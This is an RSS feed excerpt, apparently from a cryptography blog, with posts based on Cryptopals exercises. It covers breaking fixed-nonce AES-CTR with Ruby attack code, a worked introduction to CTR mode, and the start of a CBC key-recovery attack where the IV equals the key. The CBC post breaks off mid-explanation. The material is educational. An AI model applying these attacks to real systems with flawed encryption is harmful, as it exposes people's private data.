&lt;p&gt;In CTR a &lt;code class=&quot;language-text&quot;&gt;nonce&lt;/code&gt; is just a random value that will be concatenated with a &lt;code class=&quot;language-text&quot;&gt;counter&lt;/code&gt;, both are usually 8 bytes each. Once these two values are concatenated they will be encrypted under &lt;code class=&quot;language-text&quot;&gt;AES-128-ECB&lt;/code&gt; and then XORed with 16 bytes from our plaintext. As a reminder, here’s the full process:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/4d9317e0640a84dba1dc08ad8adc3d8a/ctr_encryption.svg&quot; alt=&quot;CTR Encryption by Gwenda&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Thought process&lt;/h2&gt;
&lt;p&gt;We have 40 CTR-encrypted ciphertexts under the same &lt;code class=&quot;language-text&quot;&gt;nonce&lt;/code&gt;, so what’s wrong with that? At first I had no idea, so I decided to look closely at the encryption process and try to derive some commonality between this exercise and problems that I have previously solved.&lt;/p&gt;
&lt;p&gt;For the sake of simplicity let’s imagine that we only have two plaintexts being encrypted under a &lt;em&gt;fixed nonce and the same key&lt;/em&gt; and try to encrypt it ourselves:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nonce&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;[33, 112, 111, 116, 97, 116, 111, 33]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;[76, 80, 122, 102, 50, 110, 51, 198, 232, 120, 106, 233, 189, 55, 5, 47]&lt;/code&gt; (16 bytes)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Plaintext 1&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;[115, 117, 112, 101, 114, 115, 101, 99, 114, 101, 116, 109, 101, 115, 115, 97, 103, 101, 100, 111, 110, 116, 112, 101, 101, 107, 112, 108, 101, 97, 115, 101]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Plaintext 2&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;[105, 95, 97, 109, 95, 104, 97, 114, 109, 108, 101, 115, 115, 95, 112, 108, 101, 97, 115, 101, 95, 100, 111, 110, 111, 116, 95, 112, 101, 101, 107, 33]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let’s see how plaintext 1 would be encrypted:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The first block will be encrypted with:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;First we generate the &lt;code class=&quot;language-text&quot;&gt;Nonce + Counter&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[33, 112, 111, 116, 97, 116, 111, 33, 0, 0, 0, 0, 0, 0, 0, 0]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Now we encrypt this value under &lt;code class=&quot;language-text&quot;&gt;AES-128-ECB&lt;/code&gt; using our &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;We &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt; this value with our first block from plaintext 1 to get the ciphertext.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The second block will be encrypted with:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;First we generate the &lt;code class=&quot;language-text&quot;&gt;Nonce + Counter&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[33, 112, 111, 116, 97, 116, 111, 33, 0, 0, 0, 0, 0, 0, 0, 1]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Now we encrypt this value under &lt;code class=&quot;language-text&quot;&gt;AES-128-ECB&lt;/code&gt; using our &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;We &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt; this value with our second block from plaintext 1 to get the ciphertext.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Now let’s see how plaintext 2 would be encrypted:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The first block will be encrypted with:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;First we generate the &lt;code class=&quot;language-text&quot;&gt;Nonce + Counter&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[33, 112, 111, 116, 97, 116, 111, 33, 0, 0, 0, 0, 0, 0, 0, 0]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Now we encrypt this value under &lt;code class=&quot;language-text&quot;&gt;AES-128-ECB&lt;/code&gt; using our &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;We &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt; this value with our first block from plaintext 2 to get the ciphertext.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The second block will be encrypted with:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;First we generate the &lt;code class=&quot;language-text&quot;&gt;Nonce + Counter&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[33, 112, 111, 116, 97, 116, 111, 33, 0, 0, 0, 0, 0, 0, 0, 1]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Now we encrypt this value under &lt;code class=&quot;language-text&quot;&gt;AES-128-ECB&lt;/code&gt; using our &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;We &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt; this value with our second block from plaintext 2 to get the ciphertext.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Wait, did you notice anything similar between these encryptions?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It’s totally fine if not, here they are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The first block of plaintext 1 gets XORed with the exact same value as the first block from plaintext 2.&lt;/li&gt;
&lt;li&gt;The second block of plaintext 1 gets XORed with the exact same value as the second block from plaintext 2.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you remember our &lt;a href=&quot;/repeating-key-xor&quot;&gt;Repeating Key XOR&lt;/a&gt; and &lt;a href=&quot;/repeating-key-xor-ii&quot;&gt;Repeating Key XOR II&lt;/a&gt; posts you will notice that we have the &lt;em&gt;exact same problem&lt;/em&gt; in our hands!&lt;/p&gt;
&lt;p&gt;Every first block of each CTR-encrypted ciphertext can be cracked using &lt;code class=&quot;language-text&quot;&gt;repeating key XOR&lt;/code&gt;, and we will do the same for each subsequent block.&lt;/p&gt;
&lt;h3&gt;Attack&lt;/h3&gt;
&lt;p&gt;We will approach this problem by doing the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Concatenate the first 16 bytes of every message, and apply repeating key XOR&lt;/li&gt;
&lt;li&gt;Concated the next 16 bytes of every message, and apply repeating key XOR&lt;/li&gt;
&lt;li&gt;Repeat until we exhaust the entire message.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;But not every message has the same length!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That’s ok, we can use the message with the smallest length and apply our attack. We might miss something, but at least we will decrypted the majority of our messages.&lt;/p&gt;
&lt;p&gt;Let’s see this in code:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;require &amp;#39;base64&amp;#39;
require &amp;#39;openssl&amp;#39;

def aes_ecb_encrypt(plaintext, key)
  if !(plaintext.size % 16).zero?
    raise &amp;#39;Buffer must be composed of 16-byte chunks&amp;#39; 
  end

  cipher = OpenSSL::Cipher.new(&amp;#39;AES-128-ECB&amp;#39;)
  cipher.encrypt
  cipher.key = key.pack(&amp;#39;C*&amp;#39;)
  cipher.padding = 0
  result = cipher.update(plaintext.pack(&amp;#39;C*&amp;#39;)) + cipher.final
  result.unpack(&amp;#39;C*&amp;#39;)
end

def aes_ctr_encrypt(plaintext, key, nonce)
  blocks = plaintext.each_slice(16)

  blocks.each_with_index.flat_map do |block, counter|
    # Make sure our counter is 8 bytes
    counter = [counter].pack(&amp;#39;q&amp;lt;&amp;#39;).bytes

    intermediate = aes_ecb_encrypt(nonce + counter, key)
    intermediate = intermediate.take(block.size)

    block.zip(intermediate).map { |a, b| a ^ b }
  end
end

BLOCK_SIZE = 16
NONCE = 0
KEY = 16.times.map { rand(0..255) }

CIPHERTEXTS = [
  # See encoded plaintexts in:
  # https://cryptopals.com/sets/3/challenges/19 
].map do |c|
  aes_ctr_encrypt(
    Base64.decode64(c).bytes,
    KEY,
    NONCE
  ).flatten
end

MIN_LENGTH = CIPHERTEXTS.min_by(&amp;amp;:size).size
ALIGNED_CIPHERTEXTS = CIPHERTEXTS.map do |cipher|
  cipher
    .slice(0, MIN_LENGTH)
    .each_slice(BLOCK_SIZE)
    .to_a
end

# Making every first block of every ciphertext be part of
# the same Array, the second block of every ciphertext part
# of the same Array and so on and so forth.
transposed_blocks = ALIGNED_CIPHERTEXTS.transpose.to_a

keystream = transposed_blocks.flat_map do |blocks|
  blocks.transpose.map do |block|
    max_score = 0
    chosen = &amp;#39;&amp;#39;

    (0..255).each do |candidate|
      result = block.map { |b| b ^ candidate }

      # See https://bernardoamc.com/repeating-key-xor/
      # for the implementation of english_score.
      score = english_score(result.pack(&amp;#39;C*&amp;#39;))

      if score &amp;gt; max_score
        max_score = score
        chosen = candidate
      end
    end

    chosen
  end
end.pack(&amp;#39;C*&amp;#39;)

CIPHERTEXTS.each do |c|
  key = keystream.bytes.slice(0, c.size)
  key_size = key.size

  plain = c.map.with_index(0) do |byte, index|
    byte ^ key[index % key_size]
  end

  puts plain.pack(&amp;#39;C*&amp;#39;)
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br/&gt;
&lt;p&gt;And this is all we need to do in order to attack multiple CTR-encrypted ciphertexts under the same nonce! We could refine our &lt;code class=&quot;language-text&quot;&gt;english_score&lt;/code&gt; method to yield even better results and work to decrypt more of the message, but the fact that we can already infer parts of the plaintext with this approach validates the attack.&lt;/p&gt;
&lt;p&gt;In future posts we will start exploring the concept of message authentication and potential pitfalls of common implementations. As always please reach out to me via email or Twitter if you have suggestions, questions or just want to chat about the topic.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CTR mode introduction]]></title><description><![CDATA[In this post we will investigate how encrypting and decrypting in CTR mode works.]]></description><link>https://bernardoamc.com/ctr-mode-introduction/</link><guid isPermaLink="false">https://bernardoamc.com/ctr-mode-introduction/</guid><pubDate>Wed, 25 Aug 2021 12:15:00 GMT</pubDate><content:encoded>&lt;p&gt;So far we have learned about &lt;a href=&quot;/ecb-decryption-simple&quot;&gt;ECB&lt;/a&gt; and &lt;a href=&quot;/cbc-bitflipping-attack&quot;&gt;CBC&lt;/a&gt;, now it’s time to explore the &lt;code class=&quot;language-text&quot;&gt;Counter (CTR) mode&lt;/code&gt;. Let’s start with a definition from Wikipedia:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Counter mode turns a block cipher (like ECB or CBC) into a stream cipher. It generates the next keystream block by encrypting successive values of a “counter”. The counter can be any function which produces a sequence which is guaranteed not to repeat for a long time, although an actual increment-by-one counter is the simplest and most popular.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There are a few characteristics of this mode that are worth mentioning:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It does not require padding&lt;/li&gt;
&lt;li&gt;Decryption is identical to encryption&lt;/li&gt;
&lt;li&gt;Blocks can be encrypted in parallel&lt;/li&gt;
&lt;li&gt;Allows for random access during decryption&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;With that said, let’s see how encryption works for this mode.&lt;/p&gt;
&lt;h2&gt;Encryption&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/4d9317e0640a84dba1dc08ad8adc3d8a/ctr_encryption.svg&quot; alt=&quot;CTR Encryption by Gwenda&quot;&gt;&lt;/p&gt;
&lt;p&gt;As we can see from the image above we have four components in our system.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Nonce
&lt;ul&gt;
&lt;li&gt;Usually a random value&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Counter
&lt;ul&gt;
&lt;li&gt;Usually an incremental counter as seen in the image&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Key
&lt;ul&gt;
&lt;li&gt;The key to encrypt &lt;code class=&quot;language-text&quot;&gt;Nonce + Counter&lt;/code&gt; under &lt;code class=&quot;language-text&quot;&gt;ECB&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Plaintext
&lt;ul&gt;
&lt;li&gt;Our message that will be split in blocks of &lt;code class=&quot;language-text&quot;&gt;16 bytes&lt;/code&gt; each.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The &lt;code class=&quot;language-text&quot;&gt;Nonce&lt;/code&gt; plus &lt;code class=&quot;language-text&quot;&gt;Counter&lt;/code&gt; can be combined in any way in order to generate a value that has the same size of our block, which is &lt;code class=&quot;language-text&quot;&gt;16 bytes&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let’s create an example and encrypt it step by step under CTR.&lt;/p&gt;
&lt;h3&gt;Example&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Nonce&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;[33, 112, 111, 116, 97, 116, 111, 33]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Counter&lt;/strong&gt;: Starts at zero and will occupy &lt;code class=&quot;language-text&quot;&gt;8 bytes&lt;/code&gt; in our example &lt;br/&gt;&lt;/p&gt;
&lt;p&gt;This means our first iteration will run with counter: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[0, 0, 0, 0, 0, 0, 0, 0]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The second iteration will run with counter: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[1, 0, 0, 0, 0, 0, 0, 0]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The third iteration will run with counter: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[2, 0, 0, 0, 0, 0, 0, 0]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And so on and so forth.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;[76, 80, 122, 102, 50, 110, 51, 198, 232, 120, 106, 233, 189, 55, 5, 47]&lt;/code&gt; (16 bytes)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Plaintext&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;[115, 117, 112, 101, 114, 115, 101, 99, 114, 101, 116, 109, 101, 115, 115, 97, 103, 101, 100, 111, 110, 116, 112, 101, 101, 107, 112, 108, 101, 97, 115, 101, 33]&lt;/code&gt; (33 bytes)&lt;/p&gt;
&lt;p&gt;Notice that our plaintext has a size of &lt;code class=&quot;language-text&quot;&gt;33 bytes&lt;/code&gt;, which means it will be split into &lt;code class=&quot;language-text&quot;&gt;3 blocks&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First block encryption&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The first step is to generate the &lt;code class=&quot;language-text&quot;&gt;Nonce + Counter&lt;/code&gt;. In this example we will concatenate both arrays and end up with: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[33, 112, 111, 116, 97, 116, 111, 33, 0, 0, 0, 0, 0, 0, 0, 0]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now we encrypt this value under &lt;code class=&quot;language-text&quot;&gt;ECB&lt;/code&gt; using our &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt; and get back: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[157, 136, 111, 203, 58, 132, 197, 84, 85, 135, 63, 235, 158, 224, 196, 100]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The next step is to &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt; this value with our first block from the plaintext:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;[157, 136, 111, 203, 58, 132, 197, 84, 85, 135, 63, 235, 158, 224, 196, 100]
XOR with FIRST BLOCK
[115, 117, 112, 101, 114, 115, 101, 99, 114, 101, 116, 109, 101, 115, 115, 97]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we end up with: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[238, 253, 31, 174, 72, 247, 160, 55, 39, 226, 75, 134, 251, 147, 183, 5]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Second block encryption&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The first step is to generate the &lt;code class=&quot;language-text&quot;&gt;Nonce + Counter&lt;/code&gt;: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[33, 112, 111, 116, 97, 116, 111, 33, 1, 0, 0, 0, 0, 0, 0, 0]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now we encrypt this value under &lt;code class=&quot;language-text&quot;&gt;ECB&lt;/code&gt; using our &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt; and get: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[165, 24, 130, 65, 106, 217, 109, 50, 112, 214, 155, 118, 169, 217, 198, 65]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Followed by &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt;ing this value with our second block from the plaintext:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;[165, 24, 130, 65, 106, 217, 109, 50, 112, 214, 155, 118, 169, 217, 198, 65]
XOR with SECOND BLOCK
[103, 101, 100, 111, 110, 116, 112, 101, 101, 107, 112, 108, 101, 97, 115, 101]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we end up with: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[194, 125, 230, 46, 4, 173, 29, 87, 21, 189, 235, 26, 204, 184, 181, 36]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Third block encryption&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This block is interesting since we only have a single byte remaining from our plaintext, so let’s see how the algorithm encrypts it:&lt;/p&gt;
&lt;p&gt;The first step is to generate the &lt;code class=&quot;language-text&quot;&gt;Nonce + Counter&lt;/code&gt;: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[33, 112, 111, 116, 97, 116, 111, 33, 2, 0, 0, 0, 0, 0, 0, 0]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now we encrypt this value under &lt;code class=&quot;language-text&quot;&gt;ECB&lt;/code&gt; using our &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt; and get: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[84, 38, 123, 152, 20, 104, 97, 111, 59, 94, 140, 85, 214, 90, 181, 199]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Followed by &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt;ing this value with our third block from the plaintext:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;[84, 38, 123, 152, 20, 104, 97, 111, 59, 94, 140, 85, 214, 90, 181, 199]
XOR with THIRD BLOCK
[33]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;These are clearly different in size, so how can we &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt; these? In this case the solution adopted by the algorithm is simple, we only XOR
the amount of bytes that our plaintext block has remaining, which is a single byte in our example! So:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;[84]
XOR
[33]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we end up with: &lt;code class=&quot;language-text&quot;&gt;[117]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Final encryption&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After concatenating all of our results we end up with our &lt;code class=&quot;language-text&quot;&gt;ciphertext&lt;/code&gt;:&lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[238, 253, 31, 174, 72, 247, 160, 55, 39, 226, 75, 134, 251, 147, 183, 5, 194, 125, 230, 46, 4, 173, 29, 87, 21, 189, 235, 26, 204, 184, 181, 36, 117]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Let’s solve this programatically and see if we end up with the same value!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;require &amp;#39;openssl&amp;#39;

NONCE = [33, 112, 111, 116, 97, 116, 111, 33]
KEY = [76, 80, 122, 102, 50, 110, 51, 198, 232, 120, 106, 233, 189, 55, 5, 47]
PLAINTEXT = [115, 117, 112, 101, 114, 115, 101, 99, 114, 101, 116, 109, 101, 115, 115, 97, 103, 101, 100, 111, 110, 116, 112, 101, 101, 107, 112, 108, 101, 97, 115, 101, 33]

def aes_ecb_encrypt(plaintext, key)
  raise &amp;#39;Buffer must be composed of 16-byte chunks&amp;#39; unless (plaintext.size % 16).zero?
  cipher = OpenSSL::Cipher.new(&amp;#39;AES-128-ECB&amp;#39;)
  cipher.encrypt
  cipher.key = key.pack(&amp;#39;C*&amp;#39;)
  cipher.padding = 0
  result = cipher.update(plaintext.pack(&amp;#39;C*&amp;#39;)) + cipher.final
  result.unpack(&amp;#39;C*&amp;#39;)
end

def aes_ctr_encrypt(plaintext, key, nonce)
  blocks = plaintext.each_slice(16)

  blocks.each_with_index.flat_map do |block, counter|
    # Make sure our counter is 8 bytes
    counter = [counter].pack(&amp;#39;q&amp;lt;&amp;#39;).bytes

    intermediate = aes_ecb_encrypt(nonce + counter, key)
    block.zip(intermediate).map { |a, b| a ^ b }
  end
end

puts aes_ctr_encrypt(PLAINTEXT, KEY, NONCE).inspect&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
Since this provides the same result as our manual encryption we can move to the decryption.
&lt;h2&gt;Decryption&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/29ac27cd1818164196bfc06a1ca890f2/ctr_decryption.svg&quot; alt=&quot;CTR Decryption by Gwenda&quot;&gt;&lt;/p&gt;
&lt;p&gt;The cool thing about this algorithm is that the decryption is &lt;strong&gt;exactly the same as the encryption&lt;/strong&gt;, we only need to provide the ciphertext to our algorithm instead of the plaintext.&lt;/p&gt;
&lt;p&gt;Let’s get our ciphertext from the previous example and programatically decrypt it using the &lt;code class=&quot;language-text&quot;&gt;exact same code&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Remember, our &lt;code class=&quot;language-text&quot;&gt;ciphertext&lt;/code&gt; was: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[238, 253, 31, 174, 72, 247, 160, 55, 39, 226, 75, 134, 251, 147, 183, 5, 194, 125, 230, 46, 4, 173, 29, 87, 21, 189, 235, 26, 204, 184, 181, 36, 117]&lt;/code&gt;&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;require &amp;#39;openssl&amp;#39;

NONCE = [33, 112, 111, 116, 97, 116, 111, 33]
KEY = [76, 80, 122, 102, 50, 110, 51, 198, 232, 120, 106, 233, 189, 55, 5, 47]
PLAINTEXT = [115, 117, 112, 101, 114, 115, 101, 99, 114, 101, 116, 109, 101, 115, 115, 97, 103, 101, 100, 111, 110, 116, 112, 101, 101, 107, 112, 108, 101, 97, 115, 101, 33]

# This is the value we got from our encryption
CIPHERTEXT = [238, 253, 31, 174, 72, 247, 160, 55, 39, 226, 75, 134, 251, 147, 183, 5, 194, 125, 230, 46, 4, 173, 29, 87, 21, 189, 235, 26, 204, 184, 181, 36, 117]

def aes_ecb_encrypt(plaintext, key)
  raise &amp;#39;Buffer must be composed of 16-byte chunks&amp;#39; unless (plaintext.size % 16).zero?
  cipher = OpenSSL::Cipher.new(&amp;#39;AES-128-ECB&amp;#39;)
  cipher.encrypt
  cipher.key = key.pack(&amp;#39;C*&amp;#39;)
  cipher.padding = 0
  result = cipher.update(plaintext.pack(&amp;#39;C*&amp;#39;)) + cipher.final
  result.unpack(&amp;#39;C*&amp;#39;)
end

def aes_ctr_encrypt(plaintext, key, nonce)
  blocks = plaintext.each_slice(16)

  blocks.each_with_index.flat_map do |block, counter|
    # Make sure our counter is 8 bytes
    counter = [counter].pack(&amp;#39;q&amp;lt;&amp;#39;).bytes

    intermediate = aes_ecb_encrypt(nonce + counter, key)
    block.zip(intermediate).map { |a, b| a ^ b }
  end
end

# Notice that we are passing the CIPHERTEXT
decryption =  aes_ctr_encrypt(CIPHERTEXT, KEY, NONCE)
puts decryption == PLAINTEXT # true&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br/&gt;
And this is all the information we need to understand yet another block cipher mode, congratulations!
&lt;br/&gt;&lt;br/&gt;
In future posts we will explore attacks involving this mode and how they can be prevented. Reach out to me via email or Twitter if you have suggestions, questions or just want to chat about the topic.</content:encoded></item><item><title><![CDATA[CBC - Recovering the key when the IV and the key are the same]]></title><description><![CDATA[In this post we will investigate how this seemingly innocuous idea of using our key as the IV can be exploited to leak the key under certain conditions.]]></description><link>https://bernardoamc.com/ecb-iv-as-key/</link><guid isPermaLink="false">https://bernardoamc.com/ecb-iv-as-key/</guid><pubDate>Tue, 17 Aug 2021 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This post is based on the “Recover the key from CBC with IV=Key” exercise from &lt;a href=&quot;https://cryptopals.com/sets/4/challenges/27&quot;&gt;Cryptopals&lt;/a&gt;. I highly recommend attempting the previous CBC exercises yourself as they do a great job ramping up your knowledge on the subject.&lt;/p&gt;
&lt;h2&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;In order for this attack to be successful two things must be in place:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The encryption process must use the &lt;code class=&quot;language-text&quot;&gt;KEY&lt;/code&gt; as the &lt;code class=&quot;language-text&quot;&gt;IV&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The server throws an error when decryption fails and reflects the decoded message to the attacker&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Attack&lt;/h2&gt;
&lt;p&gt;Given the conditions above we can exploit this in the following way:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Make a plaintext with a length of &lt;em&gt;at least&lt;/em&gt; 3 blocks&lt;/li&gt;
&lt;li&gt;Encrypt the plaintext and get the resulting ciphertext&lt;/li&gt;
&lt;li&gt;Modify the second block of the ciphertext to &lt;em&gt;contain only zeros&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Modify the third block of the ciphertext to be &lt;em&gt;the same as the first block&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Decrypt the ciphertext and get the &lt;em&gt;invalid plaintext&lt;/em&gt; result&lt;/li&gt;
&lt;li&gt;XOR the first and third blocks of the &lt;em&gt;invalid plaintext&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;That’s our key!&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Explanation&lt;/h2&gt;
&lt;p&gt;This seems magical at first, but let’s review the algorithm that is performed by CBC during decryption:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/0040327c3dde91c400bdb385c38099e8/cbc_decryption.svg&quot; alt=&quot;CBC Decryption by WhiteTimberwolf&quot;&gt;&lt;/p&gt;
&lt;p&gt;Deconstructing what needs to happen in order to decrypt our &lt;code class=&quot;language-text&quot;&gt;first block&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;result = AES_Decrypt(first_block_ciphertext, KEY)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;result XOR KEY&lt;/code&gt; (remember that we are using the KEY as the IV)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Deconstructing what needs to happen in order to decrypt our &lt;code class=&quot;language-text&quot;&gt;third block&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;result = AES_Decrypt(third_block_ciphertext, KEY)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;result XOR second_block_ciphertext&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let’s &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt; these operations together:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;AES_Decrypt(first_block_ciphertext, KEY) XOR KEY
XOR
AES_Decrypt(third_block_ciphertext, KEY) XOR second_block_ciphertext&lt;/code&gt;
